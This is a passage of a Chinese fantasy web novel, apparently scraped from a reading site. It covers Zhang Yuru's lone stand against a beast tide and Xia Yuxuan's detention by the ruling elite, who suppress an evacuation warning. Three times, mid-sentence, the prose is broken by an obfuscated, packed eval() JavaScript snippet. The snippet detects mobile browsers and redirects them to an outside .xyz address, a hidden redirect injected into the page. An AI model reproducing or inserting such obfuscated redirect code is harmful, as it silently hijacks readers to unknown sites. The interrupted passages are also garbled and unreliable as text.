在这种循环往复的操作中,一个耐人寻味的结果出现了:原本并非先导会早期成员的天人们,反倒是逐渐蚕食、掌控了先导会的核心权力。 那些最初由普通人与自我觉醒者建立的理想主义组织,慢慢变成了维护天人特权的工具。 先导会的“引领人类”初心,渐渐被“巩固统治”的现实需求取代。 这个过程自然不会一帆风顺。 漫长岁月里,总有一部分人对天人掌控先导会的现状极为不满。 他们或是早期成员的后裔,或是坚持理想的觉醒者,认为先导会早已偏离了“守护所有人类”的初心,变成了为少数人服务的工具。 这些反对者掀起过数次反抗,然而绝大部分都被强大的天人势力无情**,幸存者或被流放,或被抹杀;只有少数人侥幸逃脱,在隐秘的角落建立起新的势力,持续与先导会对抗。 复兴会便是其中最具代表性的存在,他们以“夺回人类话语权”为口号,在暗中积蓄力量,成为天人眼中最难缠的隐患之一。 至于自然教会与天道教,它们的发展轨迹则有所不同。 这两个教派几乎与先导会同时诞生,最初或许为了对抗异兽有过短暂合作,但很快便因理念分歧分道扬镳。 自然教会崇拜异兽与原始力量,主张“人类与异兽共生”,天道教则沉迷于古老的玄学仪式,试图用极端手段获取超凡力量。 它们从一开始就站在了先导会的对立面,成为人类社会另一重威胁。 这些故事主要发生在神州国境内,其他国家的情况虽因文化差异各有特色——比如西方**与圣子的权力斗争,巴拉特国婆罗门与世俗政权的博弈——但本质上都算不上新鲜。 胜利成果被少数人夺取,理想主义被权力腐蚀,屠龙者最终变成恶龙,一切不过是历史的又一次重演。 当张玉汝在雪域高原的厮杀间隙,将这些情报碎片串联起来时,他终于彻底明白自己面对的是什么——那不是某一个敌人,而是一套根深蒂固、运转了万年的权力体系。 这套体系用“秩序”“守护”为外衣,掩盖着“垄断”“压迫”的内核;它看似坚不可摧,却又在不断重复着“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16135782|179243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 崛起-腐化-反抗”的轮回。 此刻,兽潮的嘶吼与体内的疲惫都变得清晰起来,张玉汝握紧拳头,黑白神光在眼底流转。 他知道,自己要对抗的不仅是眼前的异兽,更是那套试图将所有人都困在棋盘上的规则。 击杀白镜,对张玉汝而言从来不是简单的泄愤,而是对过去的一场必须完成的交代。 那是夏侯月倒在血泊中时,他攥紧拳头立下的誓言;是城破后,那些在异兽爪下哀嚎的百姓们无声的控诉;是无数个在黑暗中舔舐伤口的夜晚,支撑他活下去的执念。 白镜代表着自然教会最直接的邪恶,代表着肆意践踏生命的疯狂,唯有亲手将这颗毒瘤拔除,那些逝去的灵魂才能安息,他心中的那份愧疚与痛苦才能得到一丝慰藉。 这是他必须要做的事,是无论付出多少代价都要走完的路——哪怕为此数次徘徊在生死边缘,哪怕要在异兽群中杀出一条血路,也绝无退缩的可能。 而对抗天人,则是张玉汝在看清那套腐朽体系后,为自己选定的未来道路。 如果说自然教会是挥舞利爪的外部异兽,那天人便是寄生在人类社会内部的、更隐蔽的“腐朽异兽”。 他们用特权垄断资源,用规则压制异类,用“秩序”的外衣掩盖权力的贪婪,将无数普通人的希望与潜力扼杀在萌芽中。 这条路远比复仇更加艰难险阻——天人的势力盘根错节,渗透到社会的每一个角落;他们的力量深不可测,宗师级、大宗师级的能力者如同悬顶之剑。 更可怕的是,他们早已将自己与“人类文明”捆绑,反抗他们仿佛就是在挑战整个世界的规则。 张玉汝很清楚,走上这条路,他可能随时会身死道消,可能会被污名化、被孤立、被整个体系追杀,但他别无选择。 因为他见过太多不公:在混乱之地,有天赋的少年因没有天人背景,觉醒后只能沦为炮灰;在神州境内,有能力者因不愿依附先导会,被冠以“异端”之名围剿。 而现在,连他自己都成了这场权力博弈中的棋子,被刻意抛弃在兽潮中。 这些经历让他明白,对天人的妥协,就是对那些被压迫者的背叛;对这套腐朽体系的沉默,就是对“守护人类”初心的遗忘。 所以他选择反抗。 不是一时冲动的意气之争,而是深思熟虑后的坚定抉择。 他要对抗的不是某一个天人,而是那套固化的特权制度;他要打破的不是某条规则,而是那道阻碍普通人崛起的无形壁垒;他要揭露的不是某个秘密,而是那层包裹在“守护”外衣下的虚伪与腐朽。 此刻的雪域高原上,张玉汝的拳头既挥向眼前的异兽,也挥向远方那看不见的敌人。 击杀白镜的复仇之路已经走到了终点,而对抗天人的抗争之路才刚刚开始。 前者是为了告慰过去,后者是为了开辟未来。 两条路同样充满荆棘,却都承载着他的信念——对逝去者的承诺,对生者的责任,以及对一个更公平、更纯粹的世界的微弱期盼。 风卷起他黑白参半的发丝,神光在他周身流转不息。 哪怕前路遍布死亡陷阱,哪怕对手强大到难以想象,张玉汝也不会停下脚步。 因为他知道,有些路哪怕注定孤独,也必须有人去走;有些抗争哪怕希望渺茫,也必须有人去发起。 这既是他的宿命,也是他主动选择的人生。 第 124章 守土 “这是第多少只了?”夏雨萱望着前方被异兽尸体堆满的谷地,空气中弥漫的血腥与烟尘呛得她喉咙发紧,忍不住低声感慨。 连续十几天的厮杀,连计数都成了奢侈的事,眼中所见只有无尽的黑影与不断流淌的鲜血。 话音未落,一声震耳欲聋的咆哮陡然炸响。 一头如同移动山岭般雄伟的五头猛虎重重砸在雪地上,庞大的身躯落地时激起漫天雪雾,五道脖颈处的伤口还在汩汩流着不同颜色的血液——木之青、火之赤、土之黄、金之白、水之黑,五种色泽在洁白的雪地上晕染开诡异而妖异的图案,如同某种邪恶的图腾。 而在它轰然倒下之前,张玉汝的身影早已如同鬼魅般从兽首旁掠开。 他站在数丈之外的岩石上,指尖残留的黑白神光如同将熄的星火,尚未完全散尽。 没人看清他刚才是如何出手的,只知道在猛虎扑至顶点的刹那,五道神光几乎同时亮起,又同时熄灭,快得如同幻觉。 但结果不会说谎——这头五头猛虎的五个头颅,已被他在瞬息之间精准击碎。 每一道神光都恰好落在头颅与脖颈的连接处,没有多余的破坏,没有丝毫拖泥带水,干净利落到仿佛经过千百次演练。 这些天里,夏雨萱早已习惯了张玉汝斩杀异兽的场景。 从迅捷如风的异化雪狼到皮糙肉厚的重甲岩熊,从喷吐腐蚀性酸液的地底蠕虫到展翅遮天的三首飞禽,她见过的异兽尸体足以堆满半个山谷,也早已对张玉汝那鬼神莫测的战力见怪不怪。 可即便如此,在看到这头五行猛虎轰然陨落时,她心中依旧涌起难以抑制的震撼。 这可不是普通的杂兵异兽,而是能在兽潮中担任“先锋统领”的兽王级存在。 这头五头猛虎天生便兼具木、火、土、金、水五行力量,五个头颅各司其职:青色头颅喷吐藤蔓捆缚,赤色头颅燃烧烈焰攻击,黄色头颅凝聚土盾防御,白色头颅硬化利爪撕裂,黑色头颅操控水流愈合。 更可怕的是,它能仅凭自身完成完美的五行循环——木生火,让火焰攻击附带持续灼烧;火生土,让大地之力不断加固防御;土生金,让利爪与獠牙变得坚不可摧;金生水,让水流时刻修复伤势;水生木,让藤蔓的生长速度远超常理。 进入战斗状态后,这五行相生的力量每运转一轮,它的气息便会暴涨一分,力量、防御、恢复力都会同步叠加。 只要身体还没达到承受上限,它就能像滚雪球般变得越来越强,理论上甚至能无限接近宗师级战力。 而异兽最不缺的就是变态的身体素质。 夏雨萱毫不怀疑,当这头猛虎将力量叠加到自身极限时,就算是真正的宗师级能力者遇上,也要费一番手脚才能解决,稍有不慎甚至可能被它那循环不休的力量拖垮,阴沟翻船绝非不可能。 “你到底……”夏雨萱望着张玉汝收势而立的背影,想问他究竟还有多少底牌,想问他这看似无穷无尽的力量究竟从何而来,可话到嘴边又咽了回去。 答案似乎并不重要,重要的是他此刻还站在这里,还在为两人撑起一片生机。 别人怎么样不好说,但夏雨萱很清楚自己的极限。 面对这头能自行循环增幅的五行猛虎,她有信心凭借水流操控暂时纠缠对方,用冰锥与洪流限制它的行动,却绝无把握将其击杀——那循环不休的恢复力与越来越强的攻击,迟早会耗尽她的能量。 张玉汝轻轻吐出一口浊气,掌心的神光彻底敛去。 他走到猛虎的尸体旁,目光扫过那五道还在流淌异色血液的伤口,确认没有生机后,才转身对夏雨萱道:“它的核心能量很强,或许能帮你补充些消耗。” 说罢,他抬手一指点在猛虎的心脏位置,黑白神光涌入,瞬间剥离出一颗五色交织的能量核心。 核心离体的刹那,庞大的兽尸迅速失去生机,化作普通的血肉。 张玉汝能瞬杀这头五行猛虎,绝非侥幸。 早在目光触及这头异兽的刹那,他眼中便已泛起混沌微光——「造化之眼」早已看透了它力量的本质与弱点,将那套看似完美的五行循环拆解成最基础的能量流转。 这头猛兽的肉身的确强大得令人咋舌。 在五行相生的被动循环加持下,它甚至不需要刻意修炼,只需遵循本能吃喝作息,体内的能量便会自行运转、叠加,如同滚雪球般不断提升力量、防御与恢复力。这种“躺平变强”的体质,足以让任何需要刻苦修炼的能力者羡慕不已。 然而,强大的力量并未匹配相应的智慧。这里的“智慧”并非指简单的智力——它能凭借本能躲避攻击、选择猎物,智力水平远超普通异兽——但它的智慧,却不足以让它领会自身力量的真正奥妙。 它身上那套精妙的五行相生,完全是血脉天赋带来的被动运行,而非主动操控的神通。就像一个捧着宝库钥匙的孩童,只知道用钥匙砸核桃,却不懂如何打开宝库大门。 它能运用五行之力战斗,却从未思考过“为何相生”“如何调控”,更不懂五行之中除了“相生”还有“相克”的道理。 若是应对其他能力者,这种单纯依靠数值碾压的打法或许足够致命——毕竟能在它力量叠加到极限前找到破绽的人寥寥无几。 可面对张玉汝,单纯的“数值优势”从来不够看。他的战斗风格,从不是硬碰硬的蛮力对抗,而是以巧破拙的精准操控。 交手的第一瞬间,张玉汝便找到了破局之法。 他没有急着攻击,而是悄然运转「加速世界」,将自身感知领域内的时间流速微调,精准作用于猛虎体内的五行循环。 原本稳定流转的能量瞬间被强行提速,木生火的速度快了三成,火生土的衔接缩了半秒,整个循环如同被按下快进键的齿轮,疯狂转动起来。 这突如其来的加速让猛虎瞬间陷入亢奋状态——力量急剧攀升,体表甚至泛起五色流光,看似威势更盛,实则已偏离了它能稳定掌控的节奏。 它本能地享受着力量暴涨的快感,却不知自己正被推向失控的边缘。 当五行循环的速度快到接近它肉身承受的临界点,五色光芒因能量过载而开始闪烁不定时,张玉汝骤然出手。 「颠倒」神通精准落下,并非逆转能量轨迹,而是硬生生给这疯狂运转的循环“踩了刹车”——木气骤停,火焰骤熄,土盾崩裂,金芒黯淡,水流逆行。 这种从极致亢奋到强行压制的“寸止”感受,如同高速行驶的马车被猛地勒停,瞬间打破了猛虎体内微妙的能量平衡。 平衡一旦打破,连锁反应便接踵而至。 相生的循环出现裂痕,能量在体内乱窜,原本温顺的五行之力此刻成了作乱的猛兽,木气滞涩引发剧痛,火焰反噬灼烧内脏,土盾碎片刺向经脉,金锐之气割伤腑脏,水流倒灌阻塞气血。 这头智慧不足的异兽根本无法理解眼前的状况,更别说依靠自身力量补救——它只能在剧痛中疯狂嘶吼,却连最简单的防御都做不到。 就在这最恰当的时机,张玉汝眼中神光一闪,身形如电掠出。 他没有选择攻击猛虎最坚固的躯干,而是瞄准了五个头颅与脖颈连接的薄弱节点——那里是五行能量汇聚又分散的枢纽,此刻因平衡破碎而防御大减。 黑白神光在指尖凝聚成最锋利的芒,如同手术刀般精准刺入,瞬息之间便击碎了五个头颅的能量核心。 从加速循环到打破平衡,再到精准击杀,整个过程不过数息。 当猛虎庞大的身躯轰然倒地时,眼中还残留着茫然与痛苦——它到死都不明白,自己那无往不利的力量,为何会以如此诡异的方式崩塌。 张玉汝站在兽尸旁,拂去指尖残留的能量碎屑。 对他而言,这场战斗的关键从不是力量的比拼,而是对“规则”的理解与运用。 五行相生再精妙,若使用者不懂其理,终究只是被动的工具;而能看透规则、操控规则者,方能在力量的洪流中,找到那致命的一线生机。这便是智慧与蛮力的差距,也是他能在绝境中不断创造奇迹的核心所在。 这头五行猛虎并非特例。 在这短时间的的鏖战中,夏雨萱已经亲眼目睹张玉汝斩杀了数十只兽王级异兽。 有的能喷吐岩浆融化岩石,有的能操控风沙遮蔽天日,有的能**身躯无限再生……这些放在任何人类聚居区都足以引发灾难的恐怖存在,在张玉汝面前却显得不堪一击,往往三招两式便被精准击溃。 夏雨萱很清楚这些兽王的破坏力——若是让它们冲破防线进入人类聚居区,一座中小型城镇可能在一夜之间化为焦土,数万百姓会沦为异兽的口粮,那种惨状光是想象就让人脊背发凉。 而张玉汝此刻每多斩杀一只,就意味着后方少一分这样的风险。 她不知道元天成将张玉汝置于这种绝境的真正用意,是考验?是算计?还是另有布局? 但她能看到的是,无论那位泰斗级能力者的想法如何,张玉汝都在这片土地上拼尽全力地坚守,从未有过一丝退缩。 他的呼吸或许逐渐沉重,神光或许不如最初那般凝练,但每一次出手依旧精准狠辣,每一次目光扫过战场依旧清明坚定。 尽管身被先导会通缉,被天人视为眼中钉,张玉汝却从未因此变得冷漠无情,更没有对自己出生的这片土地失去感情。 他厌恶的是天人的特权垄断,反感的是先导会的腐朽僵化,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16140998|179243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 认可那些高高在上的“特权阶层”有资格代表这个国家的根基——但这绝不等于他会放弃守护这片土地上的普通人。 他只是在用自己的方式践行着某种信念。 就像豫州遭遇异兽入侵时,那些明明与他素不相识、却愿意挺身而出的能力者一样——他们或许没有显赫的身份,没有天人的背景,甚至可能只是些默默无闻的存在,却在灾难降临的时刻,用血肉之躯为百姓筑起防线。 张玉汝至今记得,是那些比他强大的前辈挡在身前,才让更多人得以逃生,而他如今所做的,不过是将这份守护传递下去。 所以,只要还有一丝余力,张玉汝就不会停下手中的攻击。 他挥出的每一道神光,踏碎的每一颗兽首,都不仅仅是为了完成元天成的任务,更是为了让后方那些未曾谋面的普通百姓,能在安稳的家中睡个好觉;为了让孩子们不必在异兽的嘶吼中惊醒;为了让豫州的悲剧,不再在其他地方重演。 夏雨萱望着他在兽群中穿梭的背影,心中的震撼渐渐化作一种复杂的敬意。 这个被官方通缉的“叛逆者”,这个被元天成算计的“棋子”,此刻却在用最决绝的方式,守护着那些或许从未听说过他名字的人。 他的坚守无关权力,无关利益,只关乎一份朴素的责任——对这片土地的责任,对苍生的责任。 兽潮依旧汹涌,风雪依旧凛冽。 但在这片绝望的战场上,张玉汝的身影却愈发挺拔。 可是一个人的力量终究有限。尽管张玉汝已是“兽王**”,凭一己之力斩杀了数十头足以毁灭城镇的异兽,但当无穷无尽的兽潮如同黑色潮水般持续涌来,他的坚守也渐渐抵达了极限。 长时间的高强度战斗让他的能量消耗始终维持在峰值,虽然「枯木逢春」能快速修补肉身伤势,可体内的能量本源却如同被不断抽水的井,早已不复最初的充盈,能量来源成了最棘手的问题。 再次打退一波异兽的合围后,张玉汝借着异兽退去的间隙,对着战场另一侧的夏雨萱高声招手:“来这里!” 夏雨萱立刻心领神会,操控水流化作护盾,灵巧地躲过几只试图拦截的异兽,踩着冰棱滑到张玉汝身边。 飞溅的血污沾在她的脸颊上,却挡不住眼神中的锐利:“怎么了?”张玉汝的目光扫过远方不断涌现新黑影的地平线,语气平静却带着不容置疑的决断:“你该离开了,这里已经守不住了。” “一起离开?”夏雨萱并未感到意外。 在她看来,张玉汝能仅凭一人之力在此坚守近半个月,早已超越了“人类”的范畴,此刻选择撤退绝非怯懦,而是审时度势的理智。 “不,你先走,我殿后。”张玉汝摇摇头,指尖已开始凝聚起浓郁的墨色光芒,“兽潮主力正在逼近,一起走目标太大,你先突围出去。” “你没问题吗?”夏雨萱一边挥出冰锥刺穿扑来的异兽,一边紧盯着他,“能量消耗这么大,有需要我帮忙的地方吗?哪怕多拖延一会儿也好。” “没事,我还有办法。”张玉汝的声音里听不出疲惫,只有一种沉稳的笃定,“我先替你掩护,你找准东方的缺口突围,那里的异兽密度最低。” 他很清楚,夏雨萱的能力诡谲多变,只要冲出包围圈,生存概率远高于留在原地。 “好。”夏雨萱没有丝毫犹豫,干脆利落地答应下来。 她不是会在绝境中纠缠于“同生共死”的矫情之人,更清楚此刻分头突围是最优选择,而她对张玉汝的实力有着近乎盲目的信心——这个总能创造奇迹的男人,绝不会轻易倒下。 “去!”张玉汝突然大喝一声,身后的阴阳鱼虚影剧烈旋转,墨色的光芒如同潮水般向前扩散,将异兽冲锋的方向彻底笼罩。 这是全力催动的「颠倒世界」,那些原本以迅捷著称的异兽瞬间如同陷入粘稠的泥浆,动作变得无比迟缓,利爪挥出的轨迹被无限拉长,嘶吼声也仿佛被放慢了数倍,整个区域陷入一种诡异的“静止”状态。 就是现在! 夏雨萱抓住这转瞬即逝的机会,周身爆发出汹涌的水汽,身体化作一条奔腾的大河,裹挟着冰碴与巨浪,沿着张玉汝开辟的缺口向着东方疾冲而去。 水流撞开迟缓的异兽,在雪地上冲出一道深邃的沟壑,速度快如闪电。张玉汝站在原地,维持着「颠倒世界」的运转,目光紧盯着夏雨萱远去的方向,直到那道水龙的身影消失在风雪尽头,才缓缓收回视线。 他深吸一口气,将体内仅剩的能量全部调动起来,黑白神光在掌心交织成螺旋状的能量球——接下来就是他一个人的战斗了。 **自己还能坚持多久,但至少要为夏雨萱争取足够的时间。 第 125章 虫豸 张玉汝迎击兽王,且战且退,雨萱传信,即便对张玉汝有意见也不该拿百姓的生命开玩笑。可是天人依旧拦路。 百姓也没有得到应有的疏散。一怒杀宗师,异兽随之而来一同攻破防线,张玉汝奋力拼杀,然而依旧无法阻拦,自然教会的反扑成功了。 呼、呼、呼。 张玉汝的喘息声在空旷的土地上回荡,每一次吸气都带着风雪的寒意,每一次呼气都伴随着体内能量的震荡。 到了后来,他胸腔的起伏竟引动了周围的气流,每一次喘息都掀起细微的风雷之声,在天空中卷起一圈圈涟漪——这是体力与能量双重透支的征兆,连最基础的呼吸都开始牵动天地之力。 尽管已是**之末,他的呼吸节奏却依旧保持着某种微妙的节律。 吸气时长三分,呼气绵长四分,停顿半分后再循环往复,这是他在无数次生死边缘摸索出的恢复法门,能最大限度地利用每一丝空气中的能量,延缓身体崩溃的速度。 夏雨萱离开后,张玉汝面临的压力陡增。 兽群的数量只比之前多了两成左右,可失去了夏雨萱的牵制与配合,他不得不独自面对来自四面八方的攻击。 原本可以由夏雨萱用水流阻隔的侧翼,现在需要他亲自折返驰援;原本可以借助水幕掩护的蓄力时间,现在必须在闪避中硬接攻击。 仅仅两天两夜,他的能量消耗就比之前翻了一倍,身上新增的伤口更是层层叠叠,连「枯木逢春」都难以完全修复,只能勉强维持肌体不崩溃。 但他没有在夏雨萱离开后立刻撤离。 目送那道水龙身影消失在东方天际后,张玉汝反而将「颠倒世界」催发到极致,主动向着兽群最密集的区域发起了冲锋。 他心里清楚,信息的传递需要时间,夏雨萱带着情报抵达安全区需要时间,组织民众撤离更需要时间。 益州的先导会是否提前通知了民众?那些被天人操控的高层会不会故意拖延? 张玉汝不能确定。 张玉汝不相信他们,他只愿意相信夏雨萱的执行力,相信那个和他一起战斗了许久的家伙。 因此,他必须在这里多撑一会儿。哪怕多争取一个时辰,益州西部那些还不知情的百姓就能多一分撤离的希望;哪怕多斩杀一头兽王,后方的防线就能少一分压力。 他想起了怀庆府的旧事,想起那些在异兽爪下绝望的眼神,便觉得此刻的痛苦都变得有了意义——他不能让悲剧重演。 可人力终有尽时。 两天两夜的血战,早已掏空了他的底蕴。 黑白神光变得黯淡,「造化之眼」的推演也开始出现迟滞,连「加速世界」都只能维持在局部区域。 当又一头双头巨狼的利爪划破他的肩胛,深可见骨的伤口中流出的血液已带着淡淡的金色——那是生命力透支的迹象,连血液都开始蕴含能量了。 张玉汝捂着伤口,借着异兽扑击的间隙向后急退十丈,终于做出了决定:不能再硬撑了。 他抬头望向东方,那里是夏雨萱离开的方向,也应该是民众撤离的方向。 现在,他争取的时间应该足够了。“该走了。”他低声自语,声音沙哑得如同砂纸摩擦。 接下来的战斗,不再是死守原地,而是且战且退。 张玉汝不再主动冲击兽群核心,而是选择沿着雪域高原的山脊线向东移动。 他将「颠倒世界」的范围缩小,只用来封锁身后的追兵;将「造化之眼」的算力集中,只预判最致命的攻击;每一次出手都力求一击毙命,绝不多浪费一丝能量。 风雪中,他的身影在山脊上不断跳跃、闪避、反击。 黑色的兽潮如同跗骨之蛆,紧追不舍,每一次扑击都带着吞噬一切的凶性。 但张玉汝的脚步始终没有停,他的目光始终锁定着东方的地平线。 就在张玉汝在雪域高原且战且退、用生命争取时间时,千里之外的益州安全区里,夏雨萱正与天人们陷入一场激烈的冲突。 与其说是交涉,不如说是充满怒火的争吵。 “你们这群废物凭什么拦着我!”夏雨萱指着门口的守卫,声音因愤怒而微微颤抖,“难道你们不知道西边正在发生什么吗?异兽潮随时可能冲破防线,你们这是在拿千万人的性命开玩笑!” 她此刻被软禁在一间布置奢华的房间里。 宽敞的空间铺着柔软的地毯,墙上挂着价值不菲的字画,桌上的鲜果与点心时刻保持新鲜,甚至连空气都带着淡淡的熏香。 若是放在平时,这样的待遇足以让奔波许久的人放松下来,可夏雨萱眼中只有焦灼与怒火。 “砰!”她一脚踹飞面前的红木桌子,昂贵的茶具摔得粉碎,旁边的智能终端也被砸成了冒着火花的破铜烂铁。 碎屑飞溅中,她胸口剧烈起伏,显然已到了爆发的边缘。 负责看守她的天**师周甫脸色铁青,额角青筋突突直跳。 他活了大半辈子,还是头一次见到有人敢在天人的地盘上如此放肆,简直是不识抬举到了极点。 “夏小姐,你能老实点吗?”周甫强压着怒火,语气颇为无奈,“这里是天人的驻地,不是你撒野的地方。再怎么挣扎你也出不去,等事件平息,我们自然会放你走。” “放**头!”夏雨萱转身一脚踹在合金大门上,巨大的力道让整个房间都随之颤动,门板上甚至浮现出蛛网般的裂痕,“你们这群蠢货根本就没有通知民众撤离!还在骗他们说是虚假消息!你们知道这意味着什么吗?意味着等异兽冲过来时,他们连跑的机会都没有!” “敬酒不吃吃罚酒!”周甫的耐心终于耗尽,语气瞬间变得冰冷。 他堂堂天**师,平日里都是他人仰望的存在,什么时候干过这种“狱卒”的活? 要不是上面忌惮她北斗院的身份,怕引来不必要的麻烦,他早就找个理由把这不知天高地厚的丫头处理掉了。 两天之前,夏雨萱突破异兽包围之后便马不停蹄的前进 她凭借大江大河的力量一路疾行,终于抵达益州西部的安全区时,几乎是立刻冲向了当地的聚居区,想要确认民众的撤离情况。 可调查结果却让她如坠冰窟——益州西部的民众对此事一无所知,他们依旧像往常一样买菜、做工、闲聊,甚至有热心的大妈看到风尘仆仆的她,还笑着邀请她回家“摸几把麻将歇歇脚”。 夏雨萱当时就急红了眼。 她立刻亮明北斗院学员与大师级能力者的身份,在街头巷尾奔走呼喊,用能量扩音通知民众立刻收拾行李,向着东方紧急撤离。 起初还有人半信半疑,但在她展示了自身大师级实力与前线带回的异兽残骸后,越来越多的人开始收拾东西,准备撤离。 可就在撤离的号角即将吹响时,一伙身着先导会制服的士兵与天人能力者突然出现,不由分说地将她控制住。 他们对着聚拢的民众宣称“异兽入侵是虚假消息”,斥责夏雨萱“恶意传播恐慌”,还“好心”安抚众人“待在原地最安全”。 就这样,夏雨萱被冠以“传播虚假消息危害公共安全”的罪名羁押起来。 若非北斗院在神州国的特殊地位,以及她大师级能力者的身份有一定的价值,天人们恐怕早就对她动了真格,又怎么可能还像现在这样“好吃好喝供着”? “你们到底想干什么?”夏雨萱看着周甫,眼中怒火更盛。 “你们这是在拿益州百姓的生命开玩笑,你们担得起这个责任吗!” 周甫冷笑一声,抬手释放出淡淡的能量波动,将房间的隔音效果开到最大:“夏小姐,不该问的别问。乖乖待着,对你,对我们,都好。”说完,他转身走到门口,留下一个冰冷的背影。 房间里只剩下夏雨萱沉重的呼吸声,以及窗外隐约传来的、民众依旧平静的欢声笑语。 她死死攥紧拳头,指甲深深嵌进掌心——张玉汝还在前线拼命争取时间,而这些人却在后方用谎言将千万人推向深渊。 这种无力感,比面对最凶猛的异兽还要让她绝望。 周甫当然知道前线正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他们部署在边境线的十名宗师级能力者,每一位都能轻松应对数头兽王**,配合数十名大师级能力者组成的防御网,足以将兽潮牢牢挡在益州之外。 用内部会议的话说:“完全绰绰有余,甚至有些大材小用。” 既然力量完全足够,天人们自然不打算“兴师动众”。 他们刻意淡化异兽入侵的严重性,既不通知民众撤离,也不调动大部队布防,就是为了维持一种“一切尽在掌握”的从容姿态。 毕竟天人也是要“脸”的——尽管暗地里用了不少借刀**、权力倾轧的龌龊手段,但在明面上,他们始终要维持“守护人类、伟光正”的形象。 这种形象是他们统治的根基。 若是为了一场“必胜”的防御战就搞得人心惶惶,让益州西部的民众陷入恐慌,甚至引发大规模迁徙的混乱,反而会落下“治理不力”的话柄。 更重要的是,过度张扬会让普通人意识到“原来天人也需要费这么大劲才能解决危机”,从而动摇对他们的绝对信任。 与其如此,不如等兽潮抵达边境时,让宗师们“轻描淡写”地解决战斗,事后再放出“天人谈笑间击溃异兽”的新闻,更能巩固权威。 至于那些可能在兽潮中丧生的民众? 在天人们的权衡里,不过是“必要的代价”。只要最终能守住防线,只要明面上的秩序没乱,几个城镇的损失、几千人的生死,远不如“天人颜面”与“权力稳定”重要。 周甫站在房间外,听着里面夏雨萱砸东西的声响,脸上露出一丝不屑。 他打开加密通讯器,看着卫星传来的画面——张玉汝已经退到了边缘地带,身上的伤口越来越多,气息也愈发微弱。 “快了。”他低声自语,眼中闪过一丝冷意。 等张玉汝一死,再让边境的宗师们出手收尾,这场闹剧就算彻底落幕。 到时候没人会记得夏雨萱的警告,没人会追究民众的伤亡,所有人只会再次歌颂天人的“英明神武”。 第 126章 失望 虽然现在是撤退,张玉汝却没有选择一味奔逃。 古代战场上两军交锋时,死伤最为惨重的时候并非正面对垒的时候,而是在一方溃逃被追杀时。 因此张玉汝沿着益州西部与雪域高原交界的复杂地带且战且退,将这片山河化作了迟滞兽潮的天然屏障。 这片交界地带的地形堪称“天险”:地势起伏极大,平均海拔落差超过千米,连绵的山脉如同巨龙的脊背横亘东西,走向杂乱无章,时而突然隆起成陡峭的断崖,时而凹陷成深邃的谷地。 多条源自雪域的大河穿山而过,两岸是刀削斧劈般的险峻山势,中间的峡谷里水流湍急如奔马,撞击礁石的轰鸣在山谷中回荡不绝。 角峰、刃脊、冰斗等冰川地貌随处可见,尖锐的岩石与厚厚的冰层交织,构成了一幅危机四伏的画卷。 这样的地形本就不适合人类生存活动,即便是经验丰富的向导,也需结伴而行才能勉强通过。 若非张玉汝这种精通身法、能以能量御空的顶级大师,寻常能力者别说在此战斗,就连自由通行都难如登天——脚下的冰面随时可能碎裂,身旁的崖壁可能突然坍塌,稍不留意就会坠入万丈深渊。 但对此刻的张玉汝而言,这片崎岖之地却是最好的战场。 异兽那引以为傲的数量优势,在这里被极大地削弱了。 除了少数拥有飞行能力的异兽能在峡谷间低空盘旋,大部分陆生异兽都被地形牢牢限制。 体型庞大的重甲异兽在陡峭的崖壁上寸步难行,每挪动一步都要紧贴岩石,生怕失足坠落;灵活的雪狼群想要包抄,却被狭窄的隘口分割成小队,无法形成合围之势。 甚至连之前让夏雨萱头疼的蠕虫类异兽,也因峡谷中坚硬的岩层难以钻地,只能暴露在地面上成为活靶。 每当有异兽试图沿着崖壁发起攻击,张玉汝只需随手打出一道神光击碎对方脚下的岩石,便能让其惨叫着坠入谷底,粉身碎骨。 几次之后,连最凶悍的异兽也变得小心翼翼,进攻节奏明显放缓。 而张玉汝在速度与灵巧上的优势,在这片地形中被放大到了极致。 他踩着突出的岩块借力腾跃,踏着河面的浮冰飞速滑行,甚至能沿着近乎垂直的冰壁快速爬升。 黑白神光在足底流转,如同给鞋底镀上了一层无形的吸盘,让他在湿滑的冰面上也能如履平地。 当那些异兽还在为了站稳脚跟而小心翼翼挪动时,张玉汝的身影已在峡谷间穿梭如电,仿佛在进行一场危险的舞蹈。 他时而隐匿在冰斗的阴影中,避开飞行异兽的侦察;时而突然从刃脊后杀出,用能量利刃精准收割落单的异兽;时而沿着湍急的河岸狂奔,利用水流阻挡追兵。 数十头异兽嘶吼着围拢过来,利爪与獠牙闪着寒光,却连他的衣角都摸不到。 张玉汝如同一条滑不溜丢的游鱼,总能在间不容发之际找到空隙钻出包围圈,反手还能留下几具异兽的尸体作为“路标”。 他甚至开始主动利用地形设计陷阱:在隘口处引爆预先埋下的能量**,引发小型雪崩掩埋追兵;在河面冰层下注入「刹那芳华」的力量,让试图涉水的异兽坠入冰窟;在崖壁上松动岩石,制造滚石阻断兽群的行进路线。 张玉汝站在一处角峰顶端,俯瞰着被地形拖慢脚步的兽潮。 